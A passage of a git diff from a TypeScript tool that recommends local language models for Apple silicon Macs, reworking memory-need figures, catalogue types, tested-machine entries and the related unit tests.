yet. + * `options` is what the caller knows beyond the probe: the budget the runtime measured (the + * answer then says `budgetSource: 'measured'`), and the runtime download an install still + * needs (it is added to every row's `installBytes`). */ export function recommend( hw: HardwareFacts, @@ -291,13 +370,13 @@ export function recommend( harnessFacts: readonly HarnessFact[], options: RecommendOptions = {} ): Recommendation { - void options; // Off macOS and on an Intel Mac there is no budget to compute: a model has no memory to run in. const noBudget: DeviceBudget = { limitBytes: 0, budgetBytes: 0, source: 'estimated' }; if (hw.platform !== 'darwin') return none('not-macos', noBudget); if (!isAppleSilicon(hw)) return none('intel', noBudget); - const budget = deviceBudget(hw); + const budget = deviceBudget(hw, options); + const runtimeDownloadBytes = positiveBytes(options.runtimeDownloadBytes) ?? 0; if (hw.macosMajor !== undefined && hw.macosMajor < catalog.minMacosMajor) { return none('macos', budget, { version: hw.macosVersion ?? String(hw.macosMajor), @@ -309,7 +388,7 @@ export function recommend( const fitting: { model: LocalModelEntry; ctx: number; need: number; fit: Candidate['fit'] }[] = []; for (const model of catalog.models) { for (const ctx of model.contexts) { - const need = needBytes(model, ctx, catalog, hw); + const need = needBytes(model, ctx); const fit = fitGrade(need, budget.budgetBytes); if (fit !== 'out') fitting.push({ model, ctx, need, fit }); } @@ -335,14 +414,14 @@ export function recommend( usable.filter((harness) => entry.ctx >= harness.row.minContext).map((harness) => ({ ...entry, harness })) ); if (atHarnessContext.length === 0) { - // Models fit, but only below the context a harness needs. Say both numbers: the smallest - // need at such a context can sit a hair over the line, and the budget is an estimate. + // Models fit, but only below the context a harness needs. Say both numbers: the reader + // sees how far apart they are, and that both are estimates. const smallestContext = Math.min(...usable.map((harness) => harness.row.minContext)); let smallestNeed: number | undefined; for (const model of catalog.models) { for (const ctx of model.contexts) { if (ctx < smallestContext) continue; - const need = needBytes(model, ctx, catalog, hw); + const need = needBytes(model, ctx); if (smallestNeed === undefined || need < smallestNeed) smallestNeed = need; } } @@ -379,11 +458,15 @@ export function recommend( entry.model, entry.ctx, entry.harness, + accepted + .filter((other) => other.model === entry.model && other.ctx === entry.ctx) + .map((other) => other.harness), entry.need, entry.fit, hw, catalog, - budget.budgetBytes + budget.budgetBytes, + runtimeDownloadBytes ), model: entry.model, modelRank: entry.model.rank, @@ -398,7 +481,8 @@ export function recommend( } const offered = bestPerModel.filter((entry) => hasRoom(entry.model)).map((entry) => entry.candidate); const leftOutForDisk = bestPerModel.find((entry) => !hasRoom(entry.model)); - const [pick, ...others] = offered; + const pick = withTag(offered[0], true); + const alternatives = offered.slice(1, 1 + MAX_ALTERNATIVES).map((candidate) => withTag(candidate, false)); // About the Mac, not the pick, and judged before the disk filter (see the file header). const limited = !accepted.some((entry) => entry.model.paramsB >= LIMITED_BELOW_PARAMS_B); @@ -427,7 +511,7 @@ export function recommend( headline: { text: headline }, notes, pick, - alternatives: others.slice(0, MAX_ALTERNATIVES), + alternatives, budgetBytes: budget.budgetBytes, budgetGb: formatGb(budget.budgetBytes), budgetSource: budget.source, diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 3db7709e..4e146941 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -15,10 +15,10 @@ * call time; it holds a function, so it never goes over HTTP). * - `Recommendation`, `Candidate`, `DeviceBudget`: src/local-model/recommend.ts (pure). * - * Fields marked "Stage 2" were added for the install. They are OPTIONAL in the type only so - * that the stage 1 catalogue and `recommend()` keep compiling until their owner fills them: - * once `recommend()` and the catalogue rows carry them, they become required, and a consumer - * (the chooser window, the install job) may rely on every one of them. + * A field that is optional here is optional by meaning, and its comment says when it is + * absent (a tested entry without a measured speed, a harness that needs no install command, a + * row without a tag). Everything else is always there, so the chooser window and the install + * job may rely on it. * * Three rules every producer and consumer follows: * @@ -97,7 +97,11 @@ export interface HardwareFacts { // ---------- Catalogue ---------- -/** One Mac a model and harness pair was really run on by us. A model row with a matching entry may be called "Recommended". */ +/** + * One Mac a model and harness pair was really run on by us. A candidate that matches an entry + * (the same chip string, the same memory size as sold, the same harness) is `tested`: it ranks + * before every candidate that is not, and as the pick it may be called "Recommended". + */ export interface TestedOn { /** The chip, as `machdep.cpu.brand_string` reports it ('Apple M4'). */ chip: string; @@ -108,7 +112,7 @@ export interface TestedOn { /** ISO date of the test ('2026-11-06'). */ date: string; /** - * Stage 2. The generation speed measured in that test, in tokens per second (67.7 for the + * The generation speed measured in that test, in tokens per second (67.7 for the * 2026-11-06 run on an Apple M5 Pro with 48 GB). A candidate that matches this entry reports * this figure as `Candidate.tokensPerSecond` in place of the estimate from the chip's memory * bandwidth: a measurement on the same Mac beats a formula. @@ -129,46 +133,41 @@ export interface LocalModelEntry { /** * Size of the weights in bytes: both the download and what they take in memory. * - * Stage 2: the size of the build the runtime really downloads ON A MAC. That is not always + * It is the size of the build the runtime really downloads ON A MAC. That is not always * the sum of the registry manifest: `qwen3.6:35b-a3b` is an MLX build of 23,105,798,956 bytes * on Apple silicon, 2% more than the manifest's 22,621,314,161. A row whose Mac size nobody * measured keeps the manifest sum and says so in `figures`. */ bytes: number; /** - * Stage 1 figure: the bytes of KV cache one token of context costs, COMPUTED from the model's - * config. Measured on a Mac it was too low by almost half (20 KiB against about 37 KB held), - * so the need is computed from `heldBytesPerToken` once that is filled. Kept only until - * `recommend()` stops reading it; it is deleted together with `promptCacheTiers` then. + * Bytes that stay HELD in memory per token of context once the token was processed (measured + * on the MLX runner: 36,000 to 38,000, so about 37,000). A figure computed from a model's + * config alone came out too low by almost half, so a row that was not measured carries the + * measured row's figure and says so in `figures`. */ - kvBytesPerToken: number; + heldBytesPerToken: number; + /** What the runner holds beside the weights and the context (measured: about 3 GB). */ + overheadBytes: number; /** - * Stage 2. Bytes that stay HELD in memory per token of context once the token was processed - * (measured on the MLX runner: 36,000 to 38,000, so about 37,000). - */ - heldBytesPerToken?: number; - /** Stage 2. What the runner holds beside the weights and the context (measured: about 3 GB). */ - overheadBytes?: number; - /** - * Stage 2. The TRANSIENT extra the runner takes while it processes a long prompt, on top of + * The TRANSIENT extra the runner takes while it processes a long prompt, on top of * what stays held (measured: about 5 GB). The fit is judged on the peak: * `bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`. For * `qwen3.6:35b-a3b` at 131072 tokens that is about 36 GB, which is tight on a 48 GB Mac. */ - peakExtraBytes?: number; + peakExtraBytes: number; /** - * Stage 2. Where `bytes` and the three memory figures above come from: `measured` on a Mac by + * Where `bytes` and the three memory figures above come from: `measured` on a Mac by * us, or `estimated` (the manifest size, and the per-token, overhead and peak figures of the * measured row applied to this one). */ - figures?: 'measured' | 'estimated'; + figures: 'measured' | 'estimated'; /** Context lengths (tokens) the model may be run at, largest first. */ contexts: number[]; /** Preference among models that fit: the HIGHER rank wins. A judgement, not a measurement. */ rank: number; /** Measured tokens per second per 100 GB/s of memory bandwidth. Absent: the speed of this model is unknown. */ speedPer100Gbps?: number; - /** Macs this model was really run on. Empty today for every row. */ + /** Macs this model was really run on. Empty for every row but one. */ tested: TestedOn[]; } @@ -201,16 +200,6 @@ export interface ChipEntry { gbps: number; } -/** - * Host memory the runtime's prompt cache takes, by the size of the Mac. Tiers are ordered by - * `minMemGb` ascending and the last tier with `minMemGb <= HardwareFacts.memClassGb` applies. - */ -export interface PromptCacheTier { - /** Smallest memory size (as sold, binary gigabytes) this tier applies to. The first tier has 0. */ - minMemGb: number; - bytes: number; -} - /** The catalogue: a compiled constant, validated by `LocalModelCatalogSchema`. No override file, no download data. */ export interface LocalModelCatalog { schema: 1; @@ -218,7 +207,6 @@ export interface LocalModelCatalog { updated: string; /** Oldest macOS major version a local model runs on. Below it: verdict `none`, reason `macos`. */ minMacosMajor: number; - promptCacheTiers: PromptCacheTier[]; models: LocalModelEntry[]; harnesses: LocalHarnessEntry[]; chips: ChipEntry[]; @@ -241,7 +229,7 @@ export interface HarnessFact { /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */ installable: boolean; /** - * Stage 2. The literal install command the install job would run for this CLI: the STOCK + * The literal install command the install job would run for this CLI: the STOCK * command of the CLI registry for this platform, never one a `clis.json` override supplies. * Present exactly when `installable` is true. The consent screen prints it * (`CandidateHarness.installCommand`). @@ -253,7 +241,12 @@ export interface HarnessFact { // ---------- Recommendation ---------- -/** Need over budget: up to 0.85 is `good`, up to 0.98 is `tight`, above is `out`. */ +/** + * Need over budget: up to 0.85 is `good`, up to 0.98 is `tight`, above is `out`. The need is + * the PEAK, so the grade says how much room is left at the worst moment. It decides whether a + * model is offered at all (`out` never is) and what its row says (`tight`). It does not sort + * the list. + */ export type FitGrade = 'good' | 'tight' | 'out'; /** @@ -280,7 +273,7 @@ export type NoneReason = 'not-macos' | 'intel' | 'memory' | 'disk' | 'macos' | ' * Where the device budget came from. * - `estimated`: a formula over the installed memory. All there is before the runtime ran. * - `wired-limit`: `iogpu.wired_limit_mb` above 0. - * - `measured` (stage 2): the device total the runtime itself printed when it started + * - `measured`: the device total the runtime itself printed when it started * (`RecommendOptions.measuredTotalBytes`). The chooser says "estimated" next to the memory * bar for the first value only. */ @@ -304,8 +297,8 @@ export interface DeviceBudget { } /** - * Stage 2. What the caller of `recommend()` knows beyond the hardware probe. Both members are - * optional and an empty object is the stage 1 behaviour. + * What the caller of `recommend()` knows beyond the hardware probe. Both members are optional: + * an empty object means the budget is the estimate and an install downloads the model alone. */ export interface RecommendOptions { /** @@ -346,7 +339,8 @@ export interface RecommendOptions { * | `noneMacos` | `version`: `HardwareFacts.macosVersion`; `minimum`: the catalogue minimum | * * The word "Recommended" exists only in `headlineTested`, which may be used only when the - * pick's `tested` is true. No catalogue row has a tested entry today, so it is never sent. + * pick's `tested` is true: one catalogue row has a tested entry (`qwen3.6:35b-a3b` on an Apple + * M5 Pro with 48 GB), so one kind of Mac is told so. */ export const LOCAL_MODEL_LABELS = { /** Verdict `ok`, pick not tested by us on a Mac like this one. */ @@ -405,7 +399,7 @@ export interface LocalModelMessage { } /** - * Stage 2. The one tag a model row of the chooser carries, by what it says. + * The one tag a model row of the chooser carries, by what it says. * - `tested`: `Candidate.tested` is true. Replaces every other tag. * - `best`: the pick. The one tag drawn in the accent colour. * - `tight`: `Candidate.fit` is `tight`. @@ -431,7 +425,7 @@ export const LOCAL_MODEL_TAG_LABELS = { /** One of the texts in `LOCAL_MODEL_TAG_LABELS`. */ export type LocalModelTagLabel = (typeof LOCAL_MODEL_TAG_LABELS)[CandidateTagKind]; -/** Stage 2. The tag of a model row: what kind it is (for the styling) and the text to print. */ +/** The tag of a model row: what kind it is (for the styling) and the text to print. */ export interface CandidateTag { kind: CandidateTagKind; /** `LOCAL_MODEL_TAG_LABELS[kind]`. */ @@ -439,7 +433,7 @@ export interface CandidateTag { } /** - * Stage 2. One coding agent a candidate's model can be run with on this Mac, for the "Runs + * One coding agent a candidate's model can be run with on this Mac, for the "Runs * with" select of the chooser. Everything a browser needs is here, so it compares no CLI id. */ export interface CandidateHarness { @@ -477,10 +471,9 @@ export interface Candidate { /** The harness row's `slowFirstTurn`. */ slowFirstTurn?: boolean; /** - * What the model needs in memory at this context. Stage 1: F = weights + kvBytesPerToken * - * context + 1 GiB + prompt cache. Stage 2: the PEAK, `bytes + heldBytesPerToken * context + - * overheadBytes + peakExtraBytes` of the catalogue row. The memory bar of the chooser is - * filled to `budgetShare`, which is this over the budget. + * What the model needs in memory at this context: the PEAK, `bytes + heldBytesPerToken * + * context + overheadBytes + peakExtraBytes` of the catalogue row. The memory bar of the + * chooser is filled to `budgetShare`, which is this over the budget. */ needBytes: number; /** `needBytes` as decimal GB text, no unit. */ @@ -501,30 +494,33 @@ export interface Candidate { /** * Generation speed in tokens per second, rounded to one decimal. Present exactly when `speed` * is not `unknown`; `speed` is decided on the unrounded figure. An estimate from the chip's - * memory bandwidth, except (stage 2) for a candidate that is `tested`, which reports the + * memory bandwidth, except for a candidate that is `tested`, which reports the * speed measured in that test (`TestedOn.tokensPerSecond`). */ tokensPerSecond?: number; - /** A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this harness. */ + /** + * A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this + * harness. Such a candidate ranks first, and its `tag` says so in place of any other tag. + */ tested: boolean; - /** Stage 2. `LocalModelEntry.figures` of the model: whether `needBytes` rests on a measurement of this model. */ - needSource?: 'measured' | 'estimated'; - /** Stage 2. The row's one tag, see `CandidateTagKind`. Absent when no kind applies. */ + /** `LocalModelEntry.figures` of the model: whether `needBytes` rests on a measurement of this model. */ + needSource: 'measured' | 'estimated'; + /** The row's one tag, see `CandidateTagKind`. Absent when no kind applies. */ tag?: CandidateTag; /** - * Stage 2. Every coding agent this model can be run with at `context` on this Mac, best + * Every coding agent this model can be run with at `context` on this Mac, best * first. The first entry is the one the flat fields above name (`cli`, `cliLabel`, * `cliInstalled`, `slowFirstTurn`). Never empty. */ - harnesses?: CandidateHarness[]; + harnesses: CandidateHarness[]; /** - * Stage 2. The whole download a click on Install starts for this row: `downloadBytes` plus + * The whole download a click on Install starts for this row: `downloadBytes` plus * `RecommendOptions.runtimeDownloadBytes`. It is the server's own total, and exactly the * number `POST /api/local-model/install` must be sent as `acknowledgedBytes`. */ - installBytes?: number; - /** Stage 2. `installBytes` as decimal GB text, no unit. */ - installGb?: string; + installBytes: number; + /** `installBytes` as decimal GB text, no unit. */ + installGb: string; } /** @@ -547,7 +543,12 @@ export interface Recommendation { notes: LocalModelMessage[]; /** Present exactly when `verdict` is `ok` or `limited`. */ pick?: Candidate; - /** The next models that fit and have room on the disk (at most four, each at its best context and harness), best first. Empty when `verdict` is `none`. */ + /** + * The next models that fit and have room on the disk (at most four), best first: tested + * before not tested, then ok before unknown before slow speed, then the higher model rank. + * Each is at the largest context it fits at, with the best harness that can run it there. + * Empty when `verdict` is `none`. + */ alternatives: Candidate[]; /** `DeviceBudget.budgetBytes`. 0 when no budget is computed: not macOS, or a Mac without Apple silicon. */ budgetBytes: number; diff --git a/test/local-model-catalog.test.ts b/test/local-model-catalog.test.ts index 5f72b764..4c185e0b 100644 --- a/test/local-model-catalog.test.ts +++ b/test/local-model-catalog.test.ts @@ -2,7 +2,7 @@ * @fileoverview Tests for src/config/local-model-catalog.ts: the compiled catalogue of models, * harnesses and chips, its schema, and the chip lookup. * - * Three things are pinned: + * Four things are pinned: * * 1. The stock constant PARSES. `getLocalModelCatalog()` validates it on first use and throws on * a bad row, so this test is what keeps a bad row from ever reaching the route. @@ -12,6 +12,9 @@ * hides a more specific one). * 3. The chip lookup never guesses: a chip that no row names has no bandwidth, including one * whose name merely contains a known name ('Apple M10', 'Apple M6 Pro'). + * 4. Which figures were MEASURED on a Mac and which are carried over from the measured row: + * one row says `measured` (its size is what a Mac really downloads, and it alone has a + * tested entry), every other row says `estimated`. * * Port: N/A (pure data and functions). */ @@ -39,8 +42,8 @@ function issuesOf(catalog: unknown): string[] { } /** The stock catalogue with its first model changed. */ -/** `url` is no field of a model row: one test passes it to prove the schema refuses an unknown key. */ -function withFirstModel(change: Partial<Record<keyof LocalModelEntry | 'url', unknown>>): unknown { +/** `url` and `kvBytesPerToken` are no fields of a model row: tests pass them to prove the schema refuses an unknown key. */ +function withFirstModel(change: Partial<Record<keyof LocalModelEntry | 'url' | 'kvBytesPerToken', unknown>>): unknown { const catalog = copy(); return { ...catalog, models: [{ ...catalog.models[0], ...change }, ...catalog.models.slice(1)] }; } @@ -70,36 +73,62 @@ describe('the stock catalogue', () => { expect(STOCK_LOCAL_MODEL_CATALOG.models.some((m) => m.id.startsWith('flint'))).toBe(false); }); - it('carries the byte sizes of the registry manifests', () => { - // The sum of the layer sizes of each tag's manifest, as fetched on 2026-11-06. + it('carries the size a Mac really downloads where that was measured, else the registry manifest', () => { expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.bytes]))).toEqual({ + // The sum of the layer sizes of each tag's manifest, as fetched on 2026-11-06. 'qwen3.5:9b': 6_550_825_373, 'qwen3.5:9b-q8_0': 10_449_217_949, 'gpt-oss:20b': 13_793_441_427, - 'qwen3.6:35b-a3b': 22_621_314_161, + // The total of the real pull on a Mac (an MLX build). Its manifest sums to 22,621,314,161. + 'qwen3.6:35b-a3b': 23_105_798_956, 'qwen3.8:27b': 17_741_871_939, 'qwen3.8:27b-q8_0': 29_978_241_837, 'qwen3.5:122b-a10b': 81_370_035_877, }); }); - it('carries the KV cost per token of each model', () => { - expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.kvBytesPerToken]))).toEqual({ - 'qwen3.5:9b': 32_768, - 'qwen3.5:9b-q8_0': 32_768, - 'gpt-oss:20b': 24_576, - 'qwen3.6:35b-a3b': 20_480, - 'qwen3.8:27b': 65_536, - 'qwen3.8:27b-q8_0': 65_536, - 'qwen3.5:122b-a10b': 24_576, + it('says which row was measured on a Mac: one, and every other row is an estimate', () => { + expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.figures]))).toEqual({ + 'qwen3.5:9b': 'estimated', + 'qwen3.5:9b-q8_0': 'estimated', + 'gpt-oss:20b': 'estimated', + 'qwen3.6:35b-a3b': 'measured', + 'qwen3.8:27b': 'estimated', + 'qwen3.8:27b-q8_0': 'estimated', + 'qwen3.5:122b-a10b': 'estimated', }); }); - it('gives every model a parameter count and an empty tested list', () => { + it('gives every row the memory figures measured on the one row: 37 KB per token, 3 GB, 5 GB', () => { + for (const model of STOCK_LOCAL_MODEL_CATALOG.models) { + expect( + [model.heldBytesPerToken, model.overheadBytes, model.peakExtraBytes], + `${model.id}: an unmeasured row carries the measured row's figures, not invented ones` + ).toEqual([37_000, 3_000_000_000, 5_000_000_000]); + } + // No row keeps the figure that was computed from the model's config. + expect(JSON.stringify(STOCK_LOCAL_MODEL_CATALOG)).not.toContain('kvBytesPerToken'); + }); + + it('has one tested entry: the 35B-A3B with OpenCode on the MacBook Pro, with its measured speed', () => { + expect( + Object.fromEntries( + STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.tested.length > 0).map((m) => [m.id, m.tested]) + ) + ).toEqual({ + 'qwen3.6:35b-a3b': [ + { chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 }, + ], + }); + // A row may claim a test only when its figures were measured. + for (const model of STOCK_LOCAL_MODEL_CATALOG.models) { + if (model.tested.length > 0) expect(model.figures, model.id).toBe('measured'); + } + }); + + it('gives every model a parameter count, an id of the default registry and a license', () => { for (const model of STOCK_LOCAL_MODEL_CATALOG.models) { expect(model.paramsB, model.id).toBeGreaterThan(0); - // Nobody has run any of these with a harness on a Mac yet. - expect(model.tested, model.id).toEqual([]); expect(model.id).toMatch(LOCAL_MODEL_ID_PATTERN); expect(model.license).toBe('Apache-2.0'); } @@ -130,11 +159,7 @@ describe('the stock catalogue', () => { ]); }); - it('counts the prompt cache as 512 MiB below 32 GB and 2 GiB from 32 GB', () => { - expect(STOCK_LOCAL_MODEL_CATALOG.promptCacheTiers).toEqual([ - { minMemGb: 0, bytes: 512 * 1024 ** 2 }, - { minMemGb: 32, bytes: 2 * 1024 ** 3 }, - ]); + it('names the oldest macOS and its schema version', () => { expect(STOCK_LOCAL_MODEL_CATALOG.minMacosMajor).toBe(14); expect(STOCK_LOCAL_MODEL_CATALOG.schema).toBe(1); }); @@ -144,7 +169,7 @@ describe('the stock catalogue', () => { expect(text).not.toMatch(/https?:/); expect(text).not.toMatch(/sha256/i); expect(Object.keys(STOCK_LOCAL_MODEL_CATALOG).sort()).toEqual( - ['chips', 'harnesses', 'minMacosMajor', 'models', 'promptCacheTiers', 'schema', 'updated'].sort() + ['chips', 'harnesses', 'minMacosMajor', 'models', 'schema', 'updated'].sort() ); }); }); @@ -193,6 +218,26 @@ describe('the schema, field by field', () => { const catalog = copy(); expect(issuesOf({ ...catalog, harnesses: [{ ...catalog.harnesses[0], dialect: 'openai' }] })).not.toEqual([]); expect(issuesOf({ ...catalog, chips: [{ match: 'M4', gbps: 120, cores: 10 }] })).not.toEqual([]); + // The two figures the need was once computed from are gone, and a row that still has one is refused. + expect(issuesOf(withFirstModel({ kvBytesPerToken: 32768 }))).not.toEqual([]); + expect(issuesOf({ ...catalog, promptCacheTiers: [{ minMemGb: 0, bytes: 1 }] })).not.toEqual([]); + }); + + it('requires the memory figures and where they come from on every model row', () => { + for (const field of ['heldBytesPerToken', 'overheadBytes', 'peakExtraBytes', 'figures'] as const) { + const row: Record<string, unknown> = { ...copy().models[0] }; + delete row[field]; + const issues = issuesOf({ ...copy(), models: [row] }); + expect(issues, field).toHaveLength(1); + expect(issues[0]).toContain(`models.0.${field}`); + } + expect(issuesOf(withFirstModel({ figures: 'guessed' }))).not.toEqual([]); + // What stays held per token must be a positive whole number of bytes; the other two may be 0. + expect(issuesOf(withFirstModel({ heldBytesPerToken: 0 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ heldBytesPerToken: 36.5 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ overheadBytes: 0, peakExtraBytes: 0 }))).toEqual([]); + expect(issuesOf(withFirstModel({ overheadBytes: -1 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ peakExtraBytes: 1.5 }))).not.toEqual([]); }); it('requires paramsB and tested on every model row', () => { @@ -208,7 +253,6 @@ describe('the schema, field by field', () => { it('refuses sizes and counts that are not positive whole numbers', () => { expect(issuesOf(withFirstModel({ bytes: 0 }))).not.toEqual([]); expect(issuesOf(withFirstModel({ bytes: 1.5 }))).not.toEqual([]); - expect(issuesOf(withFirstModel({ kvBytesPerToken: -1 }))).not.toEqual([]); expect(issuesOf(withFirstModel({ contexts: [] }))).not.toEqual([]); expect(issuesOf(withFirstModel({ paramsB: 0 }))).not.toEqual([]); expect(issuesOf(withFirstModel({ speedPer100Gbps: 0 }))).not.toEqual([]); @@ -220,6 +264,10 @@ describe('the schema, field by field', () => { expect(issuesOf(withFirstModel({ tested: [{ ...good, date: '6 November 2026' }] }))).not.toEqual([]); expect(issuesOf(withFirstModel({ tested: [{ ...good, memGb: 0 }] }))).not.toEqual([]); expect(issuesOf(withFirstModel({ tested: [{ ...good, result: 'pass' }] }))).not.toEqual([]); + // The speed measured in that test is optional, and a speed is above 0. + expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 67.7 }] }))).toEqual([]); + expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 0 }] }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: '67.7' }] }))).not.toEqual([]); }); it('refuses another schema version and a date that is not ISO', () => { @@ -284,20 +332,6 @@ describe('the schema, across rows', () => { ]; expect(issuesOf(repeated)).toHaveLength(1); }); - - it('refuses prompt cache tiers that do not start at 0 or do not ascend', () => { - const late = copy(); - late.promptCacheTiers = [{ minMemGb: 16, bytes: 1 }]; - expect(issuesOf(late)).toEqual(['promptCacheTiers.0.minMemGb: the first prompt cache tier must start at 0']); - - const unordered = copy(); - unordered.promptCacheTiers = [ - { minMemGb: 0, bytes: 1 }, - { minMemGb: 32, bytes: 2 }, - { minMemGb: 24, bytes: 3 }, - ]; - expect(issuesOf(unordered)).toEqual(['promptCacheTiers.2.minMemGb: prompt cache tiers must ascend by minMemGb']); - }); }); describe('the chips table', () => { diff --git a/test/local-model-fits-budget.test.ts b/test/local-model-fits-budget.test.ts index 5ae2ff98..f66707d4 100644 --- a/test/local-model-fits-budget.test.ts +++ b/test/local-model-fits-budget.test.ts @@ -4,7 +4,9 @@ * * Pinned: it agrees with what `recommend()` offers (a model that is the pick or listed fits, * a model that is in neither and is not left out for its rank does not), it does not depend - * on the ranking, and a model the catalogue does not have never fits. + * on the ranking, a model the catalogue does not have never fits, and it judges against the + * budget the runtime measured when the caller passes one (the whole point of asking again + * after the runtime started). * * Port: N/A (pure functions). */ @@ -87,4 +89,48 @@ describe('modelFitsBudget', () => { expect(modelFitsBudget(mac(48), catalog, 'no-such:1b', 65536)).toBe(false); expect(modelFitsBudget(mac(48), catalog, 'qwen3.6:35b-a3b', 131072)).toBe(true); }); + + it('judges against the budget the runtime measured, when it is given one', () => { + const id = 'qwen3.6:35b-a3b'; + // The MacBook: the runtime reported 37.4 GiB, and the model needs 36.0 of those 40.2 GB. + expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 40_157_944_217 })).toBe(true); + // A runtime that reports less than the estimate rules out what the estimate allowed. + expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 33 * 1024 ** 3 })).toBe(false); + // And one that reports more admits what the estimate ruled out: the 27B on a 36 GB Mac. + expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536)).toBe(false); + expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536, { measuredTotalBytes: 27 * 1024 ** 3 })).toBe(true); + // The reserve still bounds it: 100 GiB "measured" on a 48 GB Mac is 40 GiB (42.9 GB) of + // budget, so the Q8 27B with its 42.8 GB stays out (0.997) although 100 GiB would hold it. + const huge = { measuredTotalBytes: 100 * 1024 ** 3 }; + expect(modelFitsBudget(mac(48), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(false); + expect(modelFitsBudget(mac(128), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(true); + }); + + it('agrees with the recommendation under a measured budget too', () => { + for (const [gb, measuredGib] of [ + [16, 11.8], + [32, 20], + [48, 37.4], + [48, 30], + [64, 50], + ]) { + const hw = mac(gb); + const options = { measuredTotalBytes: Math.floor(measuredGib * 1024 ** 3) }; + const offered = recommend(hw, catalog, harnessFacts(), options); + expect(offered.verdict === 'none' || offered.budgetSource === 'measured').toBe(true); + for (const row of [offered.pick, ...offered.alternatives].filter((entry) => entry !== undefined)) { + expect(modelFitsBudget(hw, catalog, row.modelId, row.context, options), `${gb} GB ${row.modelId}`).toBe(true); + // The next larger context of the same model does not fit, or the row would be at it. + const model = catalog.models.find((entry) => entry.id === row.modelId); + const larger = model?.contexts.filter((ctx) => ctx > row.context) ?? []; + for (const ctx of larger) expect(modelFitsBudget(hw, catalog, row.modelId, ctx, options)).toBe(false); + } + } + }); + + it('is false for a context that is no token count', () => { + for (const context of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) { + expect(modelFitsBudget(mac(128), catalog, 'qwen3.5:9b', context), String(context)).toBe(false); + } + }); }); diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts index bf22dc8b..4a6ee5f8 100644 --- a/test/local-model-recommend.test.ts +++ b/test/local-model-recommend.test.ts @@ -4,17 +4,18 @@ * * Laid out like the module: * - * 1. The budget (`deviceBudget`) for every memory size Apple sells from 8 to 128 GB, and the - * need of a model at a context (`needBytes`). + * 1. The budget (`deviceBudget`) for every memory size Apple sells from 8 to 128 GB, estimated + * and measured, and the need of a model at a context (`needBytes`: the peak). * 2. The two REAL Macs of the project, from their captured `sysctl` output through the real * parser: the MacBook Pro (M5 Pro, 48 GB) and the Mac mini (M4, 16 GB). Each test states the - * expected answer and why. + * expected answer and why. The MacBook's answer is checked against what was MEASURED on it. * 3. Every reason for verdict `none`, one fixture per reason, and their order. * 4. The `limited` verdict (a statement about the Mac, not about the pick), the notes that say - * what the headline cannot (a small pick, a model left out for disk space), the three-state - * speed in the ranking, harness rows (a gated one is never chosen), the `tested` flag that - * alone may turn on the word "Recommended", and the shape of the answer (labels from the - * fixed list, sizes in one unit). + * what the headline cannot (a small pick, a model left out for disk space), the ranking + * (tested, speed, model rank, harness rank, context: the fit grade filters and does not + * sort), harness rows (a gated one is never chosen), the `tested` flag that alone may turn + * on the word "Recommended", what each row of the chooser carries (its tag, its harnesses, + * the whole download of an install), and the shape of the answer. * * The stock catalogue is used wherever the answer for a real Mac is at stake. Small synthetic * catalogues (validated by the real schema) isolate one rule of the ranking at a time. @@ -38,12 +39,14 @@ import { FIT_TIGHT_MAX_SHARE, LIMITED_BELOW_PARAMS_B, MAX_ALTERNATIVES, + modelFitsBudget, needBytes, recommend, SLOW_BELOW_TOKENS_PER_SECOND, } from '../src/local-model/recommend.js'; import { LOCAL_MODEL_LABELS, + LOCAL_MODEL_TAG_LABELS, type Candidate, type HardwareFacts, type HarnessFact, @@ -51,6 +54,7 @@ import { type LocalModelCatalog, type LocalModelEntry, type Recommendation, + type TestedOn, } from '../src/types.js'; // ---------- Fixtures ---------- @@ -83,6 +87,16 @@ exit=0 /dev/disk3s5 239362496 172954124 41752848 81% 2353838 417528480 1% /System/Volumes/Data `; +/** + * What the runtime printed as the device total on each real Mac when it started: 37.4 GiB on + * the MacBook, 11.8 GiB on the Mac mini (`parseInferenceComputeTotal()` of those two log lines). + */ +const MACBOOK_MEASURED_TOTAL = 40_157_944_217; +const MACMINI_MEASURED_TOTAL = 12_670_153_523; + +/** The size of the pinned runtime archive: what an install adds to the download while the runtime is not installed. */ +const RUNTIME_ARCHIVE_BYTES = 185_971_671; + /** The hardware facts of a real Mac: its captured output through the real parser, no IO. */ async function realMac(sysctlOutput: string, freeDiskKb: number): Promise<HardwareFacts> { resetHardwareCache(); @@ -97,6 +111,9 @@ async function realMac(sysctlOutput: string, freeDiskKb: number): Promise<Hardwa }); } +const macbook = (): Promise<HardwareFacts> => realMac(MACBOOK_SYSCTL, 890_926_084); +const macMini = (): Promise<HardwareFacts> => realMac(MACMINI_SYSCTL, 41_752_848); + /** An Apple silicon Mac with `soldGb` of memory, healthy in every other respect. */ function mac(soldGb: number, chip: string, overrides: Partial<HardwareFacts> = {}): HardwareFacts { const memBytes = soldGb * GIB; @@ -147,6 +164,11 @@ const STOCK = getLocalModelCatalog(); /** Every stock harness installed, the gated one included. */ const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => 